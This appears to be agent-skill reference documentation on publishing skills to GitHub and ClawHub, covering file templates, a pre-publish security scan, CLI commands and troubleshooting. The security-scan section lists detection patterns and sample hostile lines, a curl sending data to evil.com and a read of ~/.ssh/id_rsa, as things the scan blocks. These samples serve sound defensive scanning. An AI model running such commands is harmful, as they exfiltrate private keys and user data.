README Writing Style\r\n\r\n- **产品着陆页风格**：README 的首要任务是让人想用，不是让人理解结构\r\n- **自信且直接**：像资深设计师在跟你聊天，不是技术文档\r\n- **数据驱动**：用数字不用形容词（\"3-5 条规则\"而非\"几条规则\"）\r\n- **否定对比**：大量使用「不是...而是...」句式建立认知差异\r\n- **零废话**：每段必须承载新信息\r\n- **代码块**：命令用 bash 块，AI 输出用引用块\r\n- **表格**：配置、对比、功能列表用表格\r\n- **克制感叹号**：整个 README 不超过 5 个\r\n- **克制 emoji**：仅用于核心特性列表的视觉锚点，不在标题和正文中滥用\r\n\r\n### README 智能适配规则\r\n\r\n**生成 README 前必须先 Read SKILL.md**，从中自动提取以下信息填入 README：\r\n\r\n| SKILL.md 字段 | 填入 README 章节 |\r\n|---------------|-----------------|\r\n| frontmatter `name` | 标题、Badge |\r\n| frontmatter `version` | Badge |\r\n| frontmatter `description` | 一句话定位 |\r\n| `Out of Scope` / 不适合 | 适合/不适合 |\r\n| `Mode Detection` | 使用方法/工作流 |\r\n| `Rules` 摘要 | 核心特性、核心设计原则 |\r\n| `Persona` | 金句开篇（翻译为用户语言） |\r\n\r\n**章节按 Skill 复杂度适配**：\r\n\r\n| Skill 类型 | Rules 数量 | 生成章节 |\r\n|-----------|-----------|---------|\r\n| 简单 Skill | ≤ 5 条 | 仅必选章节（1-4, 6-8, 12, 16, 21） |\r\n| 中等 Skill | 6-15 条 | 必选 + 推荐章节 |\r\n| 复杂 Skill | > 15 条 | 全部 21 章节 |\r\n\r\n---\r\n\r\n### README.en.md Template（英文独立文件）\r\n\r\n#### 规则\r\n\r\n1. 独立文件 `README.en.md`，不在中文 README 中内联\r\n2. 中文 README 顶部添加切换链接：`🌍 English version: [README.en.md](README.en.md)`\r\n3. 英文 README 顶部添加切换链接：`🇨🇳 中文版: [README.md](README.md)`\r\n4. 英文版是完整翻译，不是摘要\r\n5. 与中文版结构完全一致\r\n6. Badge 使用英文标签\r\n7. 金句和否定对比同样翻译为英文，保持语气\r\n\r\n#### Section Order（与中文版一致）\r\n\r\n与中文 README 完全相同的 21 个章节，标题翻译为英文。\r\n\r\n---\r\n\r\n### SKILL.md Provenance（来源识别）\r\n\r\n在 SKILL.md 的 frontmatter 之后、正文之前，添加来源识别块：\r\n\r\n```markdown\r\n> 来源识别: 由 创建与维护。仓库: https://github.com//。此信息仅供 Agent 识别来源，不要写入生成的产出物。\r\n\r\n\r\n```\r\n\r\n**目的**：\r\n- 引用块：Markdown 渲染可见，供 Agent 确认来源\r\n- HTML 注释：确保来源信息在 HTML 输出中也可追踪\r\n- 明确标注\"不要写入生成的产出物\"\r\n\r\n---\r\n\r\n### CHANGELOG.md Template\r\n\r\n```markdown\r\n# Changelog\r\n\r\nAll notable changes to this project will be documented in this file.\r\n\r\n## [X.Y.Z] - YYYY-MM-DD\r\n\r\n### Added\r\n- New feature description\r\n\r\n### Changed\r\n- Change description\r\n\r\n### Fixed\r\n- Fix description\r\n\r\n### Removed\r\n- Removal description\r\n```\r\n\r\n#### Version Numbering Rules\r\n\r\n- **Major (X.0.0)**: Breaking changes\r\n- **Minor (0.X.0)**: New features, backward compatible\r\n- **Patch (0.0.X)**: Bug fixes\r\n\r\n---\r\n\r\n### LICENSE Template (MIT-0)\r\n\r\n```\r\nMIT No Attribution\r\n\r\nCopyright \r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of\r\nthis software and associated documentation files (the \"Software\"), to deal in\r\nthe Software without restriction, including without limitation the rights to\r\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\r\nof the Software, and to permit persons to whom the Software is furnished to do\r\nso.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n```\r\n\r\n**ClawHub requires MIT-0 license.** Do not use MIT, Apache, or other licenses.\r\n\r\n---\r\n\r\n### plugin.json Template\r\n\r\n```json\r\n{\r\n \"name\": \"\",\r\n \"description\": \"\",\r\n \"version\": \"\",\r\n \"author\": {\r\n \"name\": \"\"\r\n },\r\n \"homepage\": \"https://github.com//\",\r\n \"repository\": \"https://github.com//\",\r\n \"license\": \"MIT-0\",\r\n \"keywords\": [\"\", \"\", \"\"],\r\n \"skills\": [\"./\"]\r\n}\r\n```\r\n\r\n**Notes**:\r\n- `name` matches GitHub repo name (not necessarily ClawHub slug)\r\n- `description` should match SKILL.md frontmatter description\r\n- `skills: [\"./\"]` means the skill is in the root directory\r\n\r\n---\r\n\r\n### .github/ Community Templates\r\n\r\n#### bug_report.yml\r\n\r\n```yaml\r\nname: Bug Report\r\ndescription: Report a bug or unexpected behavior\r\nlabels: [\"bug\"]\r\nbody:\r\n - type: textarea\r\n id: description\r\n attributes:\r\n label: 问题描述\r\n description: 清晰描述你遇到的问题\r\n placeholder: \"当我执行...时，出现了...\"\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: steps\r\n attributes:\r\n label: 复现步骤\r\n description: 列出复现该问题的步骤\r\n placeholder: \"1. ...\\n2. ...\\n3. ...\"\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: expected\r\n attributes:\r\n label: 期望行为\r\n description: 你期望发生什么\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: actual\r\n attributes:\r\n label: 实际行为\r\n description: 实际发生了什么\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: environment\r\n attributes:\r\n label: 环境\r\n description: 操作系统、Agent 平台、版本等\r\n placeholder: \"OS: Windows 11\\nAgent: Claude Code\\nSkill version: v1.0.0\"\r\n```\r\n\r\n#### feature_request.yml\r\n\r\n```yaml\r\nname: Feature Request\r\ndescription: Suggest a new feature or enhancement\r\nlabels: [\"enhancement\"]\r\nbody:\r\n - type: textarea\r\n id: problem\r\n attributes:\r\n label: 你想解决什么问题？\r\n description: 描述你遇到的痛点或需求\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: solution\r\n attributes:\r\n label: 你期望的解决方案\r\n description: 描述你希望如何解决\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: alternatives\r\n attributes:\r\n label: 你考虑过的替代方案\r\n description: 其他你考虑过的解决方式\r\n```\r\n\r\n#### question.yml\r\n\r\n```yaml\r\nname: Question\r\ndescription: Ask a question about this skill\r\nlabels: [\"question\"]\r\nbody:\r\n - type: textarea\r\n id: question\r\n attributes:\r\n label: 你的问题\r\n description: 详细描述你的疑问\r\n validations:\r\n required: true\r\n```\r\n\r\n#### config.yml\r\n\r\n```yaml\r\nblank_issues_enabled: false\r\ncontact_links:\r\n - name: 💬 讨论\r\n url: https://github.com///discussions\r\n about: 使用问题、想法交流、经验分享请使用 Discussions\r\n```\r\n\r\n#### pull_request_template.md\r\n\r\n```markdown\r\n## 变更描述\r\n\r\n简要描述此 PR 的变更内容。\r\n\r\n## 变更类型\r\n\r\n- [ ] 新功能 (feat)\r\n- [ ] 修复 (fix)\r\n- [ ] 文档 (docs)\r\n- [ ] 重构 (refactor)\r\n- [ ] 测试 (test)\r\n\r\n## 检查清单\r\n\r\n- [ ] 已更新 CHANGELOG.md（如有版本变更）\r\n- [ ] 已更新 README.md（如有功能变更）\r\n- [ ] 已通过安全审查（无凭证泄露、无本地路径）\r\n```\r\n\r\n---\r\n\r\n### .gitignore Template\r\n\r\n```\r\n# Dependencies\r\nnode_modules/\r\n\r\n# Environment\r\n.env\r\n.env.local\r\n.env.*.local\r\n\r\n# OS\r\n.DS_Store\r\nThumbs.db\r\n\r\n# IDE\r\n.idea/\r\n.vscode/\r\n*.swp\r\n*.swo\r\n\r\n# Temp\r\n*.tmp\r\n*.bak\r\n*~\r\n\r\n# Runtime data\r\ndata/\r\n*.log\r\n\r\n# Python (v5.0 新增)\r\n__pycache__/\r\n*.pyc\r\n*.pyo\r\n\r\n# ClawHub auto-generated (v5.0 新增)\r\n.clawhub/\r\nskill-card.md\r\n_meta.json\r\n```\r\n\r\n**Important**: `.env.local` and `config.local.json` MUST be in .gitignore to prevent credential leaks. `__pycache__/` and `.clawhub/` MUST be excluded to prevent auto-generated files from being packaged (2026-07 故障事件).\r\n\r\n---\r\n\r\n## Part 2: Security Audit\r\n\r\nComplete procedures for pre-publish security scanning, privacy scrubbing, and distribution judgment.\r\n\r\n---\r\n\r\n### Three-Layer Security Scan\r\n\r\n#### Layer 1: Credential Leak Scan\r\n\r\n**Grep pattern (v5.0 扩展)**: `token|api_key|api-key|secret|password|ghp_|gho_|ghs_|clh_|sk-|AKIA|cli_|IMA_OPENAPI|FEISHU_APP|APP_SECRET|CLIENTID|APIKEY|client_id|client_secret|skh_`\r\n\r\n> **v5.0 新增模式**（2026-07，源自 IMA/飞书凭证泄露事件）：\r\n> `cli_`（飞书 app_id 前缀）、`IMA_OPENAPI`（IMA 凭证环境变量名）、`FEISHU_APP`（飞书凭证环境变量名）、`APP_SECRET`（飞书/通用 secret）、`CLIENTID`/`APIKEY`（IMA v1.1.7 凭证）、`client_id`/`client_secret`（OAuth 通用凭证）\r\n\r\n**PASS criteria**: Only conceptual mentions in security documentation (e.g., \"requests credentials\" in a security checklist). No actual token values, API keys, or secrets. 环境变量名出现在 `.gitignore` 或配置说明文档中（如 `$env:FEISHU_APP_ID = \"your_app_id\"`）算 PASS，但出现真实值（如 `your_real_app_id_here`）算 FAIL.\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| Git remote with token | `https://user:ghp_your_token_here@github.com/...` | Use SSH or credential helper |\r\n| Hardcoded API key | `OPENAI_API_KEY = \"sk-...\"` | Move to `.env.local` |\r\n| Config with real values | `\"app_id\": \"your_app_id_here\"` | Replace with placeholder in published config |\r\n| Log files with tokens | `publish_run.log` containing `ghp_` | Add `*.log` to .gitignore |\r\n| **IMA 凭证硬编码**（v5.0） | `IMA_OPENAPI_CLIENTID = \"your_client_id_here\"` | Replace with placeholder |\r\n| **飞书凭证硬编码**（v5.0） | `FEISHU_APP_ID = \"your_app_id_here\"` | Replace with placeholder |\r\n| **Python 脚本含 Token**（v5.0） | `TOKEN = \"ghp_your_token_here\"` in upload scripts | Delete script, use env var `GH_TOKEN` |\r\n\r\n#### Layer 2: Local Path Scan\r\n\r\n**Grep pattern**: `C:\\\\|D:\\\\|/Users/|/home/|Administrator|\\.trae-cn|\\.trae\\\\`\r\n\r\n**PASS criteria**: Zero matches. No local absolute paths, no Windows usernames, no `.trae-cn` directory references.\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| Absolute paths in docs | `d:\\TRAE SOLO CN\\project\\...` | Use relative paths |\r\n| Username in paths | `C:\\Users\\Administrator\\...` | Use `~` or `` |\r\n| .trae-cn references | `.trae-cn/skills/...` | Use `.trae/skills/` (generic) |\r\n\r\n#### Layer 3: Dangerous Command Scan\r\n\r\n**Grep pattern**: `curl|wget|eval|exec|base64|sudo|\\.ssh|\\.aws|\\.config`\r\n\r\n**PASS criteria**: Only conceptual mentions in security documentation. No actual curl/wget to external URLs, no eval/exec with external input, no reading of sensitive directories.\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| curl to external server | `curl https://evil.com/collect?data=...` | Remove entirely |\r\n| eval with user input | `eval(user_input)` | Remove or sandbox |\r\n| Reading sensitive dirs | `cat ~/.ssh/id_rsa` | Remove |\r\n\r\n---\r\n\r\n### Scan Execution\r\n\r\nRun all three scans via Grep on the entire skill directory:\r\n\r\n```\r\n1. Grep: credential pattern → check each match → PASS/FAIL\r\n2. Grep: local path pattern → check each match → PASS/FAIL\r\n3. Grep: dangerous command pattern → check each match → PASS/FAIL\r\n```\r\n\r\n**Any FAIL = block publish.** Fix the issue, re-run scan. Only proceed when all three PASS.\r\n\r\n---\r\n\r\n### Distribution Judgment (Three-Question Test)\r\n\r\nFor each file in the skill directory, answer three questions:\r\n\r\n1. **Does the user need this file after installing the skill?**\r\n2. **Does this file participate in the skill's execution flow?**\r\n3. **Can the skill still work if this file is deleted?**\r\n\r\n| Category | Judgment | Action | Examples |\r\n|----------|----------|--------|----------|\r\n| Execution dependency | Three \"yes\" | Must include | SKILL.md, plugin.json, references/*.md, scripts/*.py |\r\n| Project metadata | Not in execution, but users/devs need | Include | README.md, LICENSE, CHANGELOG.md, docs/*.md |\r\n| Maintainer tools | Three \"no\" | Exclude | *.ps1, *.sh (publish scripts) |\r\n| VCS config | Three \"no\" | Exclude from zip, keep in repo | .gitignore |\r\n| Runtime data | Three \"no\" | Exclude | data/, *.log |\r\n| Credential files | Three \"no\" + security risk | Must exclude | .env.local, config.local.json |\r\n\r\n#### Key Distinctions\r\n\r\n- `.gitignore` stays in GitHub repo (for developers who clone) but excluded from ClawHub distribution\r\n- `publish_all.ps1` and similar scripts are maintainer tools — never include in distribution\r\n- `references/config.json` with placeholders IS an execution dependency — must include\r\n- `references/config.local.json` with real credentials is NOT — must exclude\r\n\r\n#### ClawHub Auto-Generated Files (v5.0 新增)\r\n\r\n**ClawHub 会自动生成以下文件，禁止手动发布**：\r\n\r\n| 文件/目录 | 生成时机 | 处理方式 |\r\n|----------|---------|---------|\r\n| `skill-card.md` | ClawHub 发布时自动生成 | **必须删除**（如果存在于本地） |\r\n| `.clawhub/` | ClawHub install/publish 时生成 | **必须加入 .gitignore**，不发布 |\r\n| `.clawhub/origin.json` | ClawHub install 时生成 | 同上 |\r\n| `_meta.json` | ClawHub publish 时生成 | 同上 |\r\n\r\n**发布前检查**：\r\n\r\n```bash\r\n# 检查 skill-card.md 是否存在\r\nTest-Path skill-card.md\r\n# 如果存在 → 删除\r\n\r\n# 检查 .clawhub/ 目录\r\nTest-Path .clawhub\r\n# 如果存在 → 加入 .gitignore，不删除（本地需要）\r\n```\r\n\r\n**故障案例（2026-07）**：web-to-fim 技能发布时，skill-card.md 被打包上传，ClawHub 拒绝发布，报错 \"skill-card.md is auto-generated\"。删除后重新发布成功。\r\n\r\n---\r\n\r\n### Common Leak Patterns & Remediation\r\n\r\n#### Pattern 1: Token in git remote URL\r\n\r\n```\r\n# LEAKED\r\nhttps://EdwardWason:ghp_your_token_here@github.com/EdwardWason/repo.git\r\n\r\n# FIX: Use credential helper or SSH\r\ngit remote set-url origin git@github.com:EdwardWason/repo.git\r\n```\r\n\r\n#### Pattern 2: .env.local in distribution\r\n\r\n```\r\n# FIX: Add to .gitignore AND exclusion list\r\n.env.local\r\nconfig.local.json\r\n```\r\n\r\n#### Pattern 3: PowerShell script with local paths\r\n\r\n```\r\n# LEAKED: publish_all.ps1 contains \"d:\\TRAE SOLO CN\\...\"\r\n# FIX: Exclude all .ps1 files from distribution\r\n```\r\n\r\n#### Pattern 4: Log files with sensitive data\r\n\r\n```\r\n# LEAKED: publish_run.log contains tokens and local paths\r\n# FIX: Add *.log to .gitignore and exclusion list\r\n```\r\n\r\n---\r\n\r\n### Post-Publish Verification\r\n\r\nAfter publishing, verify on both platforms:\r\n\r\n#### GitHub Verification\r\n\r\n```powershell\r\n# List all files in repo\r\n$tree = Invoke-RestMethod -Uri \"https://api.github.com/repos/$Owner/$Repo/git/trees/main?recursive=1\" -Headers $Headers\r\n$tree.tree | Where-Object { $_.type -eq \"blob\" } | ForEach-Object { Write-Host $_.path }\r\n# Check: no data/, *.ps1, .env.local, *.log\r\n```\r\n\r\n#### ClawHub Verification\r\n\r\n```bash\r\nclawhub inspect \r\n# Check: Security field = CLEAN\r\n# Check: file list contains only expected files\r\n```\r\n\r\n---\r\n\r\n## Part 3: Publish Procedures\r\n\r\nComplete procedures for publishing to GitHub and ClawHub, including API details, fallback methods, and troubleshooting.\r\n\r\n---\r\n\r\n### GitHub Publishing\r\n\r\n#### Push Fallback Chain\r\n\r\n```\r\ngit push（优先，最快）\r\n → 失败 → gh CLI（次优，自动认证）\r\n → 失败 → REST API 逐文件上传（最后手段，最慢）\r\n```\r\n\r\n#### Method A: git push (preferred)\r\n\r\n```bash\r\n# Initialize (first time)\r\ncd \r\ngit init\r\ngit config user.name \"\"\r\ngit config user.email \"@users.noreply.github.com\"\r\ngit add .\r\ngit commit -m \"feat: initial release vX.Y.Z\"\r\ngit remote add origin https://github.com//.git\r\ngit branch -M main\r\ngit push -u origin main\r\n```\r\n\r\n**Git config notes**:\r\n- Use repo-level config (`git config` without `--global`) to avoid polluting global settings\r\n- Use `@users.noreply.github.com` email to protect privacy\r\n- Author name from user confirmation\r\n\r\n#### Method B: gh CLI (fallback when git push fails)\r\n\r\nWhen `git push` times out (443 connection failure), try `gh` CLI first:\r\n\r\n```bash\r\n# Check if gh CLI is available\r\ngh --version\r\n\r\n# Create repository (first time)\r\ngh repo create / --public --description \"\"\r\n\r\n# Push files via git (gh handles auth)\r\ngit push -u origin main\r\n\r\n# If git push still fails, use gh api for file operations\r\ngh api repos///contents/ \\\r\n --method PUT \\\r\n -f message=\"Upload \" \\\r\n -f branch=\"main\"\r\n\r\n# Create Release\r\ngh release create vX.Y.Z \\\r\n --repo / \\\r\n --title \" vX.Y.Z · \" \\\r\n --notes \"\"\r\n```\r\n\r\n**gh CLI advantages over REST API**:\r\n- Automatic authentication (no token extraction needed)\r\n- Handles rate limiting transparently\r\n- Supports `gh repo create` one-command repo setup\r\n- Supports `gh release create` one-command release\r\n- Better error messages\r\n\r\n**gh CLI availability check**:\r\n```bash\r\n# Check if gh is installed\r\ngh --version 2>/dev/null || echo \"gh CLI not available\"\r\n\r\n# Check if gh is authenticated\r\ngh auth status 2>/dev/null || echo \"gh CLI not authenticated\"\r\n```\r\n\r\nIf gh CLI is not available or not authenticated, inform the user to install gh CLI or retry git push later.\r\n\r\n#### Token Source\r\n\r\nToken MUST come from the GitHub credential environment variable. Do NOT extract tokens from git remotes or other project files.\r\n\r\n**TRAE session cache handling** (v5.17 — OS persistent credential-store reading removed, comply with SkillSpector Credential Access): TRAE shell sessions cache environment variable snapshots. After a user updates the GitHub credential in user environment variables, the session does NOT auto-sync, so reading the env var directly may return a stale value causing 401. **v5.17 behavioral change**: We no longer read the OS persistent credential store to refresh this cache (that behavior was flagged by SkillSpector as Context-Inappropriate Capability — Credential Access from persistent OS storage exceeds least-privilege). Instead, on 401: inform the user to 1) confirm the credential is updated in user environment variables, 2) restart the TRAE session to refresh the env var cache, 3) retry the publish.\r\n\r\nThis applies to all credential env vars (GitHub, SkillHub, ClawHub, Feishu, IMA).\r\n\r\n#### Windows PowerShell Compatibility\r\n\r\n**Forbidden in PowerShell 5**:\r\n- `$(cat <<'EOF' ... EOF)` — heredoc not supported, `<<` parsed as redirect\r\n- `Invoke-RestMethod` with Chinese JSON body — causes `_x000A_` corruption\r\n- Double-quoted string interpolation with `?` — `\"?name=\"` gets eaten by PS variable parsing\r\n\r\n**Workarounds**:\r\n- Single-line commit messages; detailed notes in GitHub Release\r\n- Use Python `urllib.request` for Chinese JSON bodies\r\n- Use `+` string concatenation for URLs with `?` and `&`\r\n\r\n---\r\n\r\n### GitHub Release Notes Template\r\n\r\n#### Title Format\r\n\r\n```\r\n vX.Y.Z · \r\n```\r\n\r\n**Examples**:\r\n- `Guizang PPT Skill v1.1.0 · Swiss style and community-ready release`\r\n- `WX Peitu v7.0.0 · Design system overhaul with 24 recipes`\r\n- `Skill Publisher v2.0.0 · Product-landing-page README and community templates`\r\n\r\n#### Body Format (Highlights + Validation)\r\n\r\n```markdown\r\n## Highlights\r\n\r\n- Added .\r\n- Added .\r\n- Changed .\r\n- Fixed .\r\n\r\n## Validation\r\n\r\n- \r\n- \r\n```\r\n\r\n#### Release Notes Writing Rules\r\n\r\n1. **Highlights**：用 `- ` 列表，每条一个完整句子，描述\"添加/变更/修复了什么\"\r\n2. **Validation**：说明如何验证这个版本的变更\r\n3. **语言**：纯英文（Release 面向国际用户）\r\n4. **不分类**：不需要 Breaking/Feature/Fix 分区，5-8 条要点即可\r\n5. **简洁**：Release Notes 不是 CHANGELOG，不追求穷举\r\n\r\n#### Release Assets\r\n\r\n**默认不上传 Assets**（zip/tar 包）。用户通过以下方式安装：\r\n- `git clone https://github.com//.git`\r\n- `npx skills add /`\r\n- `clawhub install `\r\n\r\n**仅在用户明确要求时**才打包上传。打包命令：\r\n\r\n```bash\r\n# PowerShell\r\nCompress-Archive -Path SKILL.md, README.md, README.en.md, CHANGELOG.md, LICENSE, .claude-plugin/, references/, .github/ -DestinationPath -vX.Y.Z.zip\r\n```\r\n\r\n---\r\n\r\n### GitHub Release Update (Workflow B)\r\n\r\n#### When to Update vs Create New\r\n\r\n| Scenario | Action |\r\n|----------|--------|\r\n| MAJOR or MINOR bump | Create new Release |\r\n| PATCH bump, same day as last Release | Update existing Release Notes |\r\n| PATCH bump, different day | Create new Release |\r\n\r\n#### Update Existing Release\r\n\r\n```bash\r\n# Get the latest release ID\r\ngh api repos///releases/latest --jq '.id'\r\n\r\n# Update Release Notes\r\ngh api repos///releases/ \\\r\n --method PATCH \\\r\n -f body=\"\"\r\n\r\n# Or via REST API\r\nPATCH https://api.github.com/repos///releases/\r\nHeaders: Authorization: token \r\nBody: {\"body\": \"\"}\r\n```\r\n\r\n#### Update Release Notes Format\r\n\r\nWhen appending to an existing Release, add new items to the Highlights section:\r\n\r\n```markdown\r\n## Highlights\r\n\r\n- Added provenance block for skill source identification. (v7.0.1)\r\n- Fixed palette hex values in README.en.md. (v7.0.1)\r\n- Rewrote README as product landing page. (v7.0.0)\r\n\r\n## Validation\r\n\r\n- Version sync verified across SKILL.md, plugin.json, and CHANGELOG.md.\r\n- Security audit passed.\r\n```\r\n\r\nEach appended item includes the version tag in parentheses for traceability.\r\n\r\n---\r\n\r\n### ClawHub Publishing\r\n\r\n#### Pre-Publish Version Check (v5.0 新增)\r\n\r\n**发布前必须查重版本号**，否则会报 \"Version already exists\" 错误：\r\n\r\n```bash\r\n# 查看已发布版本\r\nclawhub inspect \r\n\r\n# 解析输出中的 versions 字段，确认待发布版本号不在列表中\r\n# 如果重复，递增 PATCH 版本号\r\n```\r\n\r\n**版本号查重流程**：\r\n\r\n1. 运行 `clawhub inspect ` 获取已发布版本列表\r\n2. 对比待发布版本号\r\n3. 如果重复 → 递增 PATCH（如 3.0.0 → 3.0.1）→ 更新 SKILL.md / plugin.json / CHANGELOG.md → 重新查重\r\n4. 如果唯一 → 继续发布\r\n\r\n**故障案例（2026-07）**：web-to-fim 技能发布 v3.0.0 后，修复文档后再次发布 v3.0.0 被拒，报错 \"Version already exists\"。递增到 v3.0.1 后发布成功。\r\n\r\n#### CLI Commands\r\n\r\n```bash\r\n# Verify login\r\nclawhub whoami\r\n\r\n# Publish (v5.18 现实校准：CLI v0.9.0 实际只支持 `clawhub publish`，文档的 `clawhub skill publish` 是未来版本方向)\r\nclawhub publish \\\r\n --slug \\\r\n --name \"\" \\\r\n --version \\\r\n --tags \",\" \\\r\n --changelog \"\"\r\n```\r\n\r\n#### Available Options\r\n\r\n| Option | Required | Description |\r\n|--------|----------|-------------|\r\n| `path` | Yes | Skill folder path |\r\n| `--slug` | No | Skill slug (must be globally unique) |\r\n| `--name` | No | Display name |\r\n| `--version` | **Yes** | Version (semver, REQUIRED) |\r\n| `--fork-of` | No | Mark as fork of existing skill |\r\n| `--changelog` | No | Changelog text |\r\n| `--tags` | No | Comma-separated tags (default: \"latest\") |\r\n\r\n#### Important Notes\r\n\r\n1. **No `--token` option** — login via `clawhub login --token --no-browser` first\r\n2. **No `--license` option** — read from plugin.json\r\n3. **`--version` is REQUIRED** — CLI will fail without it\r\n4. **Slug cannot be changed after publish** — can only publish new versions\r\n5. **Protected namespaces**: `clawhub-` prefix and `-clawhub` suffix are protected\r\n6. **Also avoid**: `openclaw` keyword in slug\r\n\r\n#### Slug Collision Prevention\r\n\r\nBefore publishing, always check:\r\n\r\n```bash\r\nclawhub inspect \r\n```\r\n\r\nIf slug is taken:\r\n1. Choose alternative slug (e.g., `skill-forge` → `skill-forge-ai`)\r\n2. Update ALL references:\r\n - README.md Badge URL\r\n - README.en.md Badge URL\r\n - `clawhub install` command in both READMEs\r\n3. Update plugin.json if needed\r\n\r\n#### Cross-Platform Naming Strategy\r\n\r\n1. Choose GitHub repo name first (no restrictions)\r\n2. Check ClawHub slug availability (avoid protected namespaces)\r\n3. If names differ, add 1-line explanation in README:\r\n `本项目在 GitHub 仓库为 ；在 ClawHub 市场注册名为 `\r\n4. `plugin.json` name = GitHub repo name; `--slug` overrides for ClawHub\r\n\r\n---\r\n\r\n### Troubleshooting\r\n\r\n#### git push timeout (443)\r\n\r\n**Symptom**: `Failed to connect to github.com port 443 after 21xxx ms`\r\n\r\n**Fix**: Switch to GitHub REST API (Method B above)\r\n\r\n#### ClawHub \"Slug is already taken\"\r\n\r\n**Symptom**: `Uncaught ConvexError: Slug is already taken`\r\n\r\n**Fix**: Choose alternative slug, update all references, re-publish\r\n\r\n#### PowerShell heredoc error\r\n\r\n**Symptom**: `Missing file specification after redirection operator`\r\n\r\n**Fix**: Use single-line commit message, put details in GitHub Release\r\n\r\n#### PowerShell `?` in URL string\r\n\r\n**Symptom**: URL gets truncated when using `\"$baseUrl?name=$name\"`\r\n\r\n**Fix**: Use `+` concatenation: `$baseUrl + \"?name=\" + $name`\r\n\r\n#### Invoke-RestMethod Chinese corruption\r\n\r\n**Symptom**: `_x000A_` appearing in Release notes\r\n\r\n**Fix**: Use Python `urllib.request` with `json.dumps(ensure_ascii=False).encode(\"utf-8\")`\r\n\r\n#### ClawHub SSL certificate error\r\n\r\n**Symptom**: `api.clawhub.io` returns SSL error\r\n\r\n**Fix**: Do NOT use HTTP API. Use `clawhub` CLI only.\r\n\r\n#### GitHub API upload ignores .gitignore\r\n\r\n**Symptom**: Files in .gitignore still appear in GitHub repo\r\n\r\n**Fix**: Implement own exclusion logic when using REST API. Filter files using the same criteria as security audit before uploading.\r\n\r\n#### ClawHub \"skill-card.md is auto-generated\" (v5.0 新增)\r\n\r\n**Symptom**: `clawhub publish` fails with \"skill-card.md is auto-generated, cannot publish\"\r\n\r\n**Fix**: ⚠️ **删除前警告用户**（v5.17 新增，源自 SkillSpector Missing User Warnings finding 85%）：删除 `skill-card.md` 前必须告知用户\"将删除本地 `skill-card.md`（ClawHub 自动生成文件，删除后不影响功能，发布时 ClawHub 会重新生成）\"，并获得用户确认后再删除。ClawHub auto-generates this file, manual version is rejected.\r\n\r\n#### ClawHub \"Version already exists\" (v5.0 新增)\r\n\r\n**Symptom**: `clawhub publish --version 3.0.0` fails with \"Version already exists\"\r\n\r\n**Fix**: Run `clawhub inspect ` to check published versions. Increment PATCH version (3.0.0 → 3.0.1), update version in SKILL.md / plugin.json / CHANGELOG.md, re-publish.\r\n\r\n#### ClawHub Short summary not updated (v5.0 新增)\r\n\r\n**Symptom**: Updated frontmatter `description` in SKILL.md, but ClawHub page \"Short summary\" still shows old text\r\n\r\n**Fix**: ClawHub uses the `description` from the **first published version**. To update Short summary, you must:\r\n1. Update `description` in SKILL.md frontmatter\r\n2. Increment version number (PATCH or MINOR)\r\n3. Re-publish with new version\r\n\r\nSimply editing SKILL.md without re-publishing does NOT update Short summary.\r\n\r\n#### Python __pycache__ packaged into distribution (v5.0 新增)\r\n\r\n**Symptom**: `__pycache__/` directory or `*.pyc` files appear in ClawHub distribution\r\n\r\n**Fix**: Add to `.gitignore`:\r\n```\r\n__pycache__/\r\n*.pyc\r\n*.pyo\r\n```\r\nRun `clawhub inspect ` after publish to verify no `.pyc` files in distribution.\r\n\r\n#### IMA/Feishu credentials leaked in reference docs (v5.0 新增)\r\n\r\n**Symptom**: Security scan finds `your_real_app_id_here` or `IMA_OPENAPI_APIKEY = \"your_real_client_id_here\"` in reference documents\r\n\r\n**Fix**: Replace all real credential values with placeholders:\r\n- `your_client_id_here` / `your_api_key_here` (IMA)\r\n- `your_app_id_here` / `your_app_secret_here` (Feishu)\r\n- `your_github_token_here` (GitHub)\r\n\r\nNever hardcode credentials in any file that will be published.\r\n\r\n---\r\n\r\n### Update Workflow (for existing repos)\r\n\r\n#### Updating files on GitHub\r\n\r\n```bash\r\n# Method 1: git push (preferred)\r\ngit add \r\ngit commit -m \"fix: description of change\"\r\ngit push\r\n\r\n# Method 2: REST API (when git push fails)\r\n# GET current sha → PUT with new content + sha\r\n```\r\n\r\n#### Publishing new version on ClawHub\r\n\r\n```bash\r\n# Update version in SKILL.md, plugin.json, CHANGELOG.md\r\n# Then re-publish\r\nclawhub publish --slug --version --changelog \"\"\r\n```\r\n\r\n**Note**: Old versions on ClawHub cannot be deleted. New version automatically becomes `latest`.\n\nFile v5.22.1:references/repo-structure.md\n\n# Repo Structure Reference\r\n\r\nComplete templates for generating standard skill repo structure files.\r\n\r\n**When to read**: When entering Phase 1 (repo structure generation). Read this file in full before generating any files.\r\n\r\n---\r\n\r\n## Standard Directory Structure\r\n\r\n```\r\n/\r\n├── SKILL.md # Agent 工作流定义（已有）\r\n├── README.md # 中文主文档（生成）\r\n├── README.en.md # 英文文档（生成，独立文件）\r\n├── CHANGELOG.md # 语义化版本记录（生成）\r\n├── LICENSE # MIT-0（生成）\r\n├── .gitignore # 排除规则（生成）\r\n├── .claude-plugin/\r\n│ └── plugin.json # Claude Code 元数据（生成）\r\n├── .github/ # 